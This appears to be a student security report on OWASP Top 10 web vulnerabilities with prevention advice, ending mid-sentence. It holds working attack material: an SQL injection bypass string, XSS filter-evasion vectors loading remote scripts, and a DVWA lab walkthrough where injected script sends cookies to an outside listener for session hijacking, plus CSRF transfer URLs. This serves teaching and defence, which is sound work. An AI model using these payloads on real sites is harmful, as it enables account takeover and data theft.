Felix Aweh

Minang Eric

Alberto Russo

Samer Hourani

Jamerson Rodrigues

Security Programming HACKING TECHNIQUES AND PENETRATION TESTING

PAGE 1

Contents

Introduction ................................................................................................................................................... 2

Types of Hacking Techniques ...................................................................................................................... 2

Injection ......................................................................................................................................................... 3

Broken Authentication and Session Management.................................................................................... 4

How to protect yourself ............................................................................................................................ 5

Cross-Site Scripting (XSS) ............................................................................................................................ 7

Stored XSS Attacks ................................................................................................................................... 8

Reflected XSS Attacks .............................................................................................................................. 8

XSS Attack Consequences ....................................................................................................................... 8

XSS Locator ......................................................................................................................................... 8

Image XSS using the JavaScript directive ..................................................................................... 9

fromCharCode ....................................................................................................................................... 9

Remote style sheet ............................................................................................................................. 9

STYLE attribute using a comment to break up expression .................................................................. 9

Local htc file ........................................................................................................................................ 9

Default SRC tag to get past filters that check SRC domain ............................................................... 9

Cookie manipulation ............................................................................................................................... 10

META .................................................................................................................................................... 14

META using data ................................................................................................................................. 14

XSS using HTML quote encapsulation ............................................................................................... 15

Likely Places to Find XSS ulnerabilities ................................................................................................ 16

How to Prevent Cross Site Scripting on Your Website ....................................................................... 16

Insecure Direct Object References ............................................................................................................ 17

How to identify Insecure Direct Object References ............................................................................ 17

Prevent Insecure Direct Object References .......................................................................................... 18

Use an Indirect Reference Map .............................................................................................................. 18

Verify User Authorization ...................................................................................................................... 18

Cross-site request forgery (XSRF) .......................................................................................................... 19

Security Misconfiguration .......................................................................................................................... 21

How Do I Prevent 'Security Misconfiguration'? ................................................................................... 21

Insecure Cryptographic Storage................................................................................................................. 22

Failure to Restrict URL Access .................................................................................................................. 24

PAGE 2

Attack vectors ......................................................................................................................................... 24

Technical impacts ................................................................................................................................... 24

How do I prevent failure to restrict URL access? ................................................................................. 25

Example Attack Scenarios: .................................................................................................................. 25

Insufficient Transport Layer Protection.................................................................................................... 25

Attack vectors .......................................................................................................................................... 25

Technical impacts ................................................................................................................................... 26

How do I prevent failure to restrict URL access? ................................................................................ 26

Example Attack Scenarios: ..................................................................................................................26

Unvalidated Redirects and Forwards ....................................................................................................... 26

References ................................................................................................................................................... 28

Introduction

This report dives into some of the major hacking techniques most websites out there

could be vulnerable to. Our investigations into the vulnerabilities and consequences of the

hacking techniques are discussed in this document. It also gives some sample scenarios of

successful hacking and how to prevent them.

Types of Hacking Techniques

• A1: Injection

• A2: Broken Authentication and Session Management

• A3: Cross-Site Scripting (XSS)

• A4: Insecure Direct Object References

• A5: Cross-Site Request Forgery (CSRF)

• A6: Security Misconfiguration

• A7: Insecure Cryptographic Storage

• A8: Failure to Restrict URL Access

• A9: Insufficient Transport Layer Protection

• A10: Unvalidated Redirects and Forwards

PAGE 3

Injection

SQL injection is a common vulnerability for web applications, in which an attacker is able

to submit a SQL query which is executed by the web application, exposing the back-end

database. A SQL injection attack can occur when a web application utilizes users data

input without proper validation or encoding as part of a query. The SQL query wrote by

the hacker tricks the application into executing unintended commands or changing data.

SQL injection allows an attacker to create, read, update, alter or delete data stored in the

database. A SQL injection attack gives access to sensitive information such as credit card

numbers or other financial data.

Example of SQL injection

An example of SQL injection would be if you take a simple login page where a user would

input his username and password in order to access to a secure area to view his personal

details or chat with other users in a forum.

When the legitimate user submits his details, the program generates an SQL query with

the information entered by the user to check if the user it’s who it says he is, if there is a

user in the database with that username and password, If there is then the program allows

access to the user, if not it should bring an error message, but with SQL injection it is

possible for a hacker to write an SQL injection on the login input fields in order to bypass

those security measures, fooling the program into giving the hacker information from the

database or access to the secure area in this case.

Eg:

HTML code of a simple form with two inputs:

<form method=”post” action=”../functions/check_login.php”>

<input name=”username” type=”text”/>

<input name=“password” type=”password”/>

<input type=”submit” value=”Submit”/>

</form>

After user fills the username and password, let’s say “Alberto” for username and “1234” for

password. The system will send the form data to the “check_login.php” file, where the

code will check if there is a user set on the database with username “Alberto” that has

password “1234”

SQL statement = “SELECT * FROM users WHERE username = “Alberto” AND

password=”1234”

PAGE 4

If everything goes right it will let the user login to the system and move to a more secure

area, but without proper sanitation a hacker can be able to bypass this security check by

just filling on the input fields something as simple as “ ‘ OR 1=1 “, which would set the

following SQL statement

“SELECT * FROM users WHERE username = ‘’ OR 1=1 AND password=’’ OR 1=1”

This would let the hacker bypass your security check and be able to log onto your website

and do whatever he wants, or even destroy your entire database or insert/update/remove

any records from your tables.

Impact of SQL injection:

Once a hacker realizes that a system is vulnerable to SQL injection, he is able to inject

SQL query through an input form field. This is the same as giving the hacker your

database and allowing him to execute any SQL query, even the option to drop every table

from the database, which would result in the loss of your users or the end of your

company.

How to prevent SQL injection:

Validate the user input through validation techniques, where you check the input

field for special characters, length of text, type, etc. This is called sanitizing or

sanitation of input.

You should ensure that users with the permission to access the database have the

least privileges. Additionally, do not use system administrator accounts like

“admin” for Web applications.

Remove all stored procedures that are not in use

Show care when using stored procedures since they are generally safe from

injection.

Broken Authentication and Session Management

Authentication and user management includes all aspects of handling user authentication

and managing active sessions. User authentication on the web typically involves the use of

a userid and password. A session is a semi-permanent interactive information interchange,

also known as a dialogue, a conversation or a meeting, between two or more

communicating devices, or between a computer and user for example a login session. A

login session designates the period of activity between a user logging in and logging out of

a system. A session ID is a piece of data that is used to identify a session. Session IDs are

usually used to identify a user that has logged into a website. They can be used by hackers

to hijack a session and obtain potential privileges. A session ID is often a long, randomly

generated string to decrease the probability of obtaining a valid one by means of a brute-

force search. A session ID is usually in the form of a hash generated by a hash function

PAGE 5

that is generated and sent from a server to a client to identify the current interaction

session. The client usually stores and sends the token as an HTTP cookie and/or sends it

as a parameter in GET or POST queries. Session management is particularly useful in a

web browser where a user can save all opened pages and settings and restore them at a

later date. To help recover from a system or application crash, pages and settings can also

be restored on next run. Google Chrome, Mozilla Firefox, Internet Explorer, OmniWeb

and Opera are examples of web browsers that support session management. Session

management is often managed through the application of cookies (see reference [2])

HOW TO PROTECT YOURSELF

Password Strength - passwords should have restrictions that require a minimum

size and complexity for the password. Complexity typically requires the use of

minimum combinations of alphabetic, numeric, and/or non-alphanumeric

characters in a user's password (e.g., at least one of each). Users should be required

to change their password periodically. Users should be prevented from reusing

previous passwords.

Password Use - Users should be restricted to a defined number of login attempts

per unit of time and repeated failed login attempts should be logged. Passwords

provided during failed login attempts should not be recorded, as this may expose a

user's password to whoever can gain access to this log. The system should not

indicate whether it was the username or password that was wrong if a login

attempt fails. Users should be informed of the date/time of their last successful

login and the number of failed access attempts to their account since that time.

Password Change Controls: A single password change mechanism should be used

wherever users are allowed to change a password, regardless of the situation. Users

should always be required to provide both their old and new password when

changing their password (like all account information). If forgotten passwords are

emailed to users, the system should require the user to re-authenticate whenever

the user is changing their e-mail address, otherwise an attacker who temporarily

has access to their session (e.g., by walking up to their computer while they are

logged in) can simply change their e-mail address and request a 'forgotten'

password be mailed to them.

Password Storage - All passwords must be stored in either hashed or encrypted

form to protect them from exposure, regardless of where they are stored. Hashed

form is preferred since it is not reversible. Encryption should be used when the

plaintext password is needed, such as when using the password to login to another

system. Passwords should never be hardcoded in any source code. Decryption keys

must be strongly protected to ensure that they cannot be grabbed and used to

decrypt the password file.

PAGE 6

Protecting Credentials in Transit - The only effective technique is to encrypt the

entire login transaction using something like SSL. Simple transformations of the

password such as hashing it on the client prior to transmission provide little

protection as the hashed version can simply be intercepted and retransmitted even

though the actual plaintext password might not be known.

Session ID Protection - Ideally, a user's entire session should be protected via SSL.

If this is done, then the session ID (e.g., session cookie) cannot be grabbed off the

network, which is the biggest risk of exposure for a session ID. If SSL is not viable

for performance or other reasons then session IDs themselves must be protected in

other ways. First, they should never be included in the URL as they can be cached

by the browser, sent in the referrer header, or accidentally forwarded to a 'friend'.

Session IDs should be long, complicated, random numbers that cannot be easily

guessed. Session IDs can also be changed frequently during a session to reduce

how long a session ID is valid. Session IDs must be changed when switching to SSL,

authenticating, or other major transitions. Session IDs chosen by a user should

never be accepted.

Account Lists - Systems should be designed to avoid allowing users to gain access

to a list of the account names on the site. If lists of users must be presented, it is

recommended that some form of pseudonym (screen name) that maps to the

actual account be listed instead. That way, the pseudonym cannot be used during

a login attempt or some other hack that goes after a user's account.

Browser Caching - Authentication and session data should never be submitted as

part of a GET. POST should always be used instead. Authentication pages should

be marked with all varieties of the no cache tag to prevent someone from using the

back button in a user's browser to back-up to the login page and resubmit the

previously typed in credentials. Many browsers now support the

autocomplete=false flag to prevent storing of credentials in autocomplete caches.

Trust Relationships - Your site architecture should avoid implicit trust between

components whenever possible. Each component should authenticate itself to any

other component it is interacting with unless there is a strong reason not to (such

as performance or lack of a usable mechanism). If trust relationships are required,

strong procedural and architecture mechanisms should be in place to ensure that

such trust cannot be abused as the site architecture evolves over time.

Token should be independent of the browser.

Session tokens should be expired on the server, and destroyed when a browser is

closed.

PAGE 7

Avoid writing your own routines to authenticate, end sessions, tokens, etc. Use a

well-tested tool.

Use one session token (1st key), and if applicable, one application token (2nd key)

Test for when a "back browser" action is taken or use of an expiring timestamp.

If the web server is within a shared environment (multiple services on the same

server), do not allow sharing of directories. Verify that permissions are set up

correctly.

Remove all demo code, and guard against path traversal attacks.

Verify that the server configuration is proper for your environment. Do not accept

the server defaults without analysis. Defaults are usually bad since they are often

too open.

Use of https for web applications

Paying for certificates

Cross-Site Scripting (XSS)

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.

Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a web request.

2. The data is included in dynamic content that is sent to a web user without being validated for malicious script.

PAGE 8

STORED XSS ATTACKS

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

REFLECTED XSS ATTACKS

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

XSS ATTACK CONSEQUENCES

The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.

Basic XSS (https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)

Some examples of basic XSS are;

XSS Locator

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably

<SCRIPT>alert (String.fromCharCode(88,83,83))</SCRIPT>

PAGE 9

Image XSS using the JavaScript directive

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

fromCharCode

If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Remote style sheet

(Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

STYLE ATTRIBUTE USING A COMMENT TO BREAK UP EXPRESSION

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

Local htc file

This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

<XSS STYLE="behavior: url(xss.htc);">

Default SRC tag to get past filters that check SRC domain

This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross.

<IMG SRC=# onmouseover="alert('xxs')">

PAGE 10

COOKIE MANIPULATION

Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

For this hacking technique we use the Damn Vulnerable Web Application (DVWA)

installed on a XAMP server. The application was installed on a virtual machine. We also

used Tamper Data hacking tool and Firefox. The objective was to look at the possibility of

manipulating with user login ID using XSS stored hacking technique.

The following steps below give a description on how we did the test;

Step 1

Start the web application from a browser, changing the security level to low. Then selected

the XSS stored option and insert a malicious php script. The script is pointing to a

different host.

PAGE 11

<script>

new Image().src=”http://172.16.10.55/b.php?” + document.cookie;

</script>

Step 2

The comment is then posted. And it can be seen like any other comment only that it is

malicious. Then comment is then posted on the website.

Step 3

PAGE 12

After posting the comment. We logout and the target is anyone else who visits that page

on the DWVA. At this time, we start netcat listening to port 80.

Step 4

As soon as a victim logs into the website and visits the page, his session id is listened and

is copied. As shown on the photo.

PAGE 13

Step 5

Start a new browser (Firefox) and visit the DVWA. Try to login into the website without

having the register. At this time we started the Tamper data hacking tool.

Step 6

PAGE 14

Using the Tamper data hacking tool, we then change the session id with the stolen session

id.

Step 7

Finally login with the stolen session Id.

META

The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can

be used for certain types of attacks where you need to get rid of referring URLs:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data

Directive URL scheme. This is nice because it also doesn't have anything visibly that has

the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding.

Please see RFC 2397 for more details or go here or here to encode your own. You can also

use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a

Base64 encoding method:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

PAGE 15

XSS using HTML quote encapsulation

This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

This XSS still worries me, as it would be nearly impossible to stop this without blocking

all active content:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

PAGE 16

LIKELY PLACES TO FIND XSS ULNERABILITIES

XSS is found in many website locations, not all of which are obvious. This lists all locations

where XSS may be found: [4]

HTTP referrer objects The URL GET parameters POST parameters Window.location Document.referrer document.location document.URLUnencoded All headers Cookie data Potentially data from your own database (if not properly validated on input)

HOW TO PREVENT CROSS SITE SCRIPTING ON YOUR WEBSITE

XSS can only be prevented by carefully sanitizing all input which is not known to be secure. Classes of input which is known NOT to be secure include:

HTTP referrer objects The URL GET parameters POST parameters Window.location Document.referrer document.location document.URLUnencoded All headers Cookie data Potentially data from your own database (if not properly validated on input)

Preventing XSS is an arduous job - all the values found via the above method must be checked for XSS attack vectors, which come in many forms. For instance, the same XSS code may come in a dozen different forms, based on how it is encoded and special characters placed inside.

If it is possible to whitelist data being input, then create a careful filter to whitelist the input.

Alternately, if the data is never output to a user's browser, then it cannot be used in an XSS attack. Be careful relying on this method, as other attacks, such as HTTP Response Header Splitting or SQL Injection attacks use similar untrusted data sources to perform other types of attacks.

PAGE 17

The best defense is to escape all user input. The level of escaping and how it should be implemented will be dependent on the specific site requirements. For instance, some sites wish to allow users to add some HTML tags, while others have no need of such functionality, and can more aggressively scan.

For In-URL type attacks, input should be escaped on the server side, in server code. Some common functions in PHP to escape strings related to XSS attack vectors (Should be used on both user input, and before outputting to the page):

Htmlspecialchars - converts HTML characters to non-executing types

For In-Body type attacks, there is not a fully comprehensive solution. Some options include using the ESAPI escape library like so:

ESAPI.encoder().encodeForJavaScript(user_input);

This library can also be used to escape CSS in a similar way.

The functions listed here will not stop 100% of XSS attacks, but will go a fair amount of the way. It is good to also do regular expression checking against expected input. For instance, when expecting Zip Code data, check for 5 integer values and discard everything else. Only a comprehensive strategy will eliminate the majority of XSS vectors.

Insecure Direct Object References

A direct object reference occurs when a reference to an internal implementation object,

such as a file, directory, or database key is exposed. Thus without any access control check

or other protection, attackers can manipulate these references to access unauthorized data.

The Insecure Direct Object References are flaws in system design where access to sensitive data/assets is not fully protected and data objects are exposed by application with assumption that user won’t manipulate the system. For example let’s take a scenario where an financial data report displayed to an user who is authorized to see his personal/organization’s financial data report but not expected to see other users/organization’s data.

HOW TO IDENTIFY INSECURE DIRECT OBJECT REFERENCES

Research has proven that identifying this vulnerability is slightly more difficult using automation tools than other vulnerabilities because to exploit this vulnerability you not only need to identify the flawed interface but also need to predict the pattern to identify a secure object like Filename etc. Objects may be exposed through URL & Links, Hidden Variables, Unprotected View State (ASP.NET), Drop down List box, JavaScript Array and client side objects like Java Applets.

PAGE 18

PREVENT INSECURE DIRECT OBJECT REFERENCES

Protection against this vulnerability can be achieve by - minimize the ability for users to predict object IDs/Names - make sure actual ID/name of objects are not exposed - verify user authorization each time sensitive objects/files/contents are accessed

USE AN INDIRECT REFERENCE MAP Indirect Reference Map may be used to create alternative ID/Name for server side object/data this mask the actual ID/Name of the object/data so that they are not exposed to the end user. The object ID may be anything like File Name or an internal Customer/User ID (e.g. the Primary key attribute in master tables). Indirect Reference Map uses a non-sequential & random identifier for a server side resource hence the end user see the alternate ID and not the actual ID of object. This mapping may be temporary stored in server cache or in a permanent mapping table.

For example your application may allow user to download a confidential file from your application. Instead of creating files with obvious names based on client ID, you may use randomly generated identifier as file name and maintain a mapping table with user friendly file name. In the client side link you may show the user friendly file name and when resource is requested by user then you may lookup the mapping table for actual (random) file name and allow user to retrieve the file.

VERIFY USER AUTHORIZATION Random/alternate object ID just minimizes the user ability to predict resource identifier that certainly reduce his capability to attack but it does not completely mitigate the attack. If attacker can get information of the alternative object ID (e.g. from browser history on a shared computer) then it is possible he send resource request in legitimate manner. Hence it is important to check user’s authorization to confirm that he is a valid user to request this resource. Handling such scenarios with database based validations is much easier to implement in comparison to application code.

For example: You retrieve some critical report contents form Database for a particular customer with below query: SELECT * FROM BankDetails WHERE userID=”123″

If the attacker can manipulate the userID from end user interface then he may pass a different ID to access reports of other user. You may easily add validation in SQL by checking the user authorization as below:

SELECT * FROM BankDetails INNER JOIN ReportAccessControlbyCom On ReportAccessControlbyCom.OrgId = BankDetails.ComId WHERE userID=”123″ AND ReportAccessControlbyCom.ComId = “loggedInUser_ComgId”

PAGE 19

CROSS-SITE REQUEST FORGERY (XSRF)

Cross-site request forgery, also known as a one-click attack or session riding and

abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby

unauthorized commands are transmitted from a user that the website trusts. Unlike cross-

site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits

the trust that a site has in a user's browser. CSRF is an attack which forces an end user to

execute unwanted actions on a web application in which he/she is currently authenticated.

With a little help of social engineering (like sending a link via email/chat), an attacker

may trick the users of a web application into executing actions of the attacker's choosing.

A successful CSRF exploit can compromise end user data and operation in case of normal

user. If the targeted end user is the administrator account, this can compromise the entire

web application.

EXAMPLE ATTACK SCENARIOS

The diagrams below show an example of CSRF exploit using the Google-gruyere platform.

See reference [1]

a)

b)

PAGE 20

c)

d)

Diagram (a) above shows the homepage of a logged-in user along with new updates from

other users along with a hyperlink to their homepages. Upon clicking the homepage

hyperlink, the user is directed to the homepage of another user, not knowing exactly what

URL is behind the hyperlink. In diagram (b), I change the hyperlink of my homepage to:

http://google-gruyere.appspot.com/843079736515/deletesnippet?index=0

Any user clicking on the Homepage hyperlink of “whitehathacker” is not aware that they

are clicking on a URL used to delete snippets on their homepage. This results in one of

their snippets being deleted as seen in diagrams (c) and (d). Another scenario would be

setting an icon or image to this same URL for deleting the snippets since it is not visible to

whoever clicks on it.

Scenarios like the one above obviously pose very minimal problems. In a more malicious

scenario, serious information could be compromised, like changing a password, email

address or home address, or even purchasing something. Another scenario would be the

case of a bank transfer. Suppose the URL for a bank transfer was as follows:

PAGE 21

GET http://bank.com/transfer.do?acct=ALBERTO&amount=100 HTTP/1.1

And a hacker decided to exploit the vulnerabilities of this URL by constructing the

following URL:

http://bank.com/transfer.do?acct=MARIA&amount=100000

If this URL were carefully hidden in a hyperlink or image and sent to a victim in an email

or chat forum while their bank account session were still on, money would be transferred

to a desired account without the victim’s knowledge just by clicking on the hyperlink or

image:

<a href="http://bank.com/transfer.do?acct=ERIC&amount=10000"> Lose 10 kilos in 5 days!

</a>

HOW TO PROTECT YOURSELF

•Users can help protect their accounts at poorly designed sites by logging off the site

before visiting another, or clearing their browser's cookies at the end of each browser

session.

•Checking the referrer in the client's HTTP request will prevent CSRF attacks. By ensuring

the HTTP requests have come from the original site means that the attacks from other

sites will not function

Security Misconfiguration

Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.

Regularly evaluate your Website and its environment, including the Web server, operating system, applications, and other resources your Website uses. Use a vulnerability scanner, such as Website Protection Website Scanner [https://www.websiteprotection.com/], to detect flaws.

HOW DO I PREVENT 'SECURITY MISCONFIGURATION'?

A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.

PAGE 22

Example Attack Scenarios [5]

1. The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

2. Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application.

3. App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

4. App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server

Insecure Cryptographic Storage

The most common flaw in this area is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage, not rotating keys, and weak algorithm usage is common. Use of weak or unsalted hashes to protect passwords is also common. External attackers have difficulty detecting such flaws due to limited access. They usually must exploit something else first to gain the needed access

1. Attack Vectors

Attackers typically don’t break the crypto. They break something else, such as find keys, get clear text copies of data, or access data via channels that automatically decrypt.

2. Technical Impacts

Failure frequently compromises all data that should have been encrypted. Typically this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.

3. How Do I Prevent 'Insecure Cryptographic Storage'?

Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.

Ensure offsite backups are encrypted, but the keys are managed and backed up separately.

PAGE 23

Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place

Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used.

Ensure all keys and passwords are protected from unauthorized access.

4. Example Attack Scenarios

1. An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing an SQL injection flaw to retrieve all the credit cards in clear text. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.

2. A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.

3. The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years

Source: https://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage

Using Components with Known Vulnerabilities

Virtually every application has these issues because most development teams don’t focus on ensuring their components/libraries are up to date. In many cases, the developers don’t even know all the components they are using, never mind their versions. Component dependencies make things even worse.

1. Attack Vectors

Attacker identifies a weak component through scanning or manual analysis. He customizes the exploit as needed and executes the attack. It gets more difficult if the used component is deep in the application.

2. Technical Impacts

The full range of weaknesses is possible, including injection, broken access control, XSS, etc. The impact could range from minimal to complete host takeover and data compromise.

3. How Do I Prevent 'Using Components with Known Vulnerabilities'?

PAGE 24

One option is not to use components that you didn’t write. But that’s not very realistic.

Identify all components and the versions you are using, including all dependencies. (e.g., the versions plugin).

Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up to date.

Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses.

Where appropriate, consider adding security wrappers around components to disable unused functionality and/ or secure weak or vulnerable aspects of the component.

4. Example Attack Scenarios

Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious, The following two vulnerable components were downloaded 22m times in 2011.

Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)

Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server.

Failure to Restrict URL Access

Applications are not always protecting page requests properly. Sometimes URL protection

is managed via configuration, and the system is misconfigured. Sometimes, developers

must include the proper code checks, and they forget.

Detecting such flaws is easy. The hardest part is identifying which pages (URLs) exist to

attack.

ATTACK VECTORS

Attackers who is an authorized system user, simply changes the URL to a privileged page.

Is access granted? Anonymous users could access private pages that aren’t protected.

TECHNICAL IMPACTS

Such flaws may allow some or even all accounts to be attacked. Once successful, the

attacker can do anything the victim could do. Privileged accounts are frequently targeted.

PAGE 25

HOW DO I PREVENT FAILURE TO RESTRICT URL ACCESS?

The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.

The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.

The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.

If the page is involved in a workflow, check to make sure the conditions are in the

proper state to allow access.

Example Attack Scenarios:

The attacker simply force browses to target URLs. Consider the following URLs which are

both supposed to require authentication. Admin rights are also required for access to the

“admin_getappInfo” page.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If the attacker is not authenticated, and access to either page is granted, then

unauthorized access was allowed. If an authenticated, non-admin, user is allowed to

access the “admin_getappInfo” page, this is a flaw, and may lead the attacker to more

improperly protected admin pages.

Such flaws are frequently introduced when links and buttons are simply not displayed to

unauthorized users, but the application fails to protect the pages they target.

https://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access

Insufficient Transport Layer Protection

Applications frequently do not protect network traffic. They may use SSL/TLS during

authentication, but not elsewhere, exposing data and session IDs to interception. Expired

or improperly configured certificates may also be used.

Detecting basic flaws is easy. Just observe the site’s network traffic. More subtle flaws

require inspecting the design of the application and the server configuration.

ATTACK VECTORS

Monitoring user’s network traffic can be difficult, but is sometimes easy. The primary

difficulty lies in monitoring the proper network’s traffic while users are accessing the

vulnerable sites.

PAGE 26

TECHNICAL IMPACTS

Such flaws expose individual users’ data and can lead to account theft. If an admin

